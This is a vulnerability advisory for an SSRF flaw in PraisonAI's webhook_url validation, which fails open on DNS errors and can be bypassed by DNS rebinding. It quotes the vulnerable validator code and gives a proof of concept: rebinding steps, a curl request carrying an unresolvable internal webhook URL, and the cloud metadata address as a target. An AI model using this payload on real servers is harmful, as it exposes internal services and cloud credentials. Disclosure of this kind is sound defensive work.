Summary
PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation
Advisory details
Summary
The webhook_url field in the Jobs API silently passes validation when DNS resolution fails (socket.gaierror), enabling DNS rebinding attacks. An attacker's domain can initially resolve to a public IP (passing validation) then switch to an internal IP before the server makes the HTTP request.
Details
The validator catches socket.gaierror and silently allows the URL:
# src/praisonai/praisonai/jobs/models.py:55
try:
ip = socket.gethostbyname(hostname)
ip_obj = ipaddress.ip_address(ip)
if ip_obj.is_private or ip_obj.is_loopback:
raise ValueError("private address")
except socket.gaierror:
pass # BUG: DNS failure silently ignored → SSRF bypass
The HTTP call is made later with no re-validation:
# src/praisonai/praisonai/jobs/executor.py:402
async with httpx.AsyncClient() as client:
await client.post(job.webhook_url, ...) # no second IP check
Proof of Concept
DNS rebinding flow:
- Register
attacker.comwith TTL=1s → resolves to1.2.3.4(public IP) - Submit job:
webhook_url=http://attacker.com/callback - Validation passes (public IP)
- Switch DNS:
attacker.com→127.0.0.1 - Job completes → server POSTs to
127.0.0.1→ internal SSRF
Unresolvable domain bypass (no DNS rebinding required):
curl -X POST http://:8005/api/v1/runs \
-d '{"prompt":"run","webhook_url":"http://unresolvable.internal/cb","agent_yaml":"..."}'
# Validation: gaierror → pass → URL accepted
Impact
SSRF to internal HTTP services: admin panels, databases, and cloud metadata APIs (e.g., http://169.254.169.254/). Exploitable without authentication.
References
Related vulnerabilities
All Supply chain →- HIGHCVE-2026-55537
PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114
- HIGHCVE-2026-55524
praisonaiagents vulnerable to SSRF in web_crawl tool via redirect-following and DNS rebinding (validate-then-fetch gap)
- MEDIUMCVE-2026-70667
Lemur: SSRF protection in certificate revocation checking bypassable via HTTP redirects and DNS rebinding (incomplete fix for GHSA-54vg-pfh7-jq95)
- MEDIUMCVE-2026-53708
ContextForge: DNS TOCTOU race condition causes SSRF protection bypass (`/admin/gateways/test`)
- MEDIUMCVE-2026-53945
Ghost: Server-side request forgery via DNS rebinding in external request handling
- MEDIUMCVE-2026-54020
Open WebUI: DNS Rebinding SSRF Bypass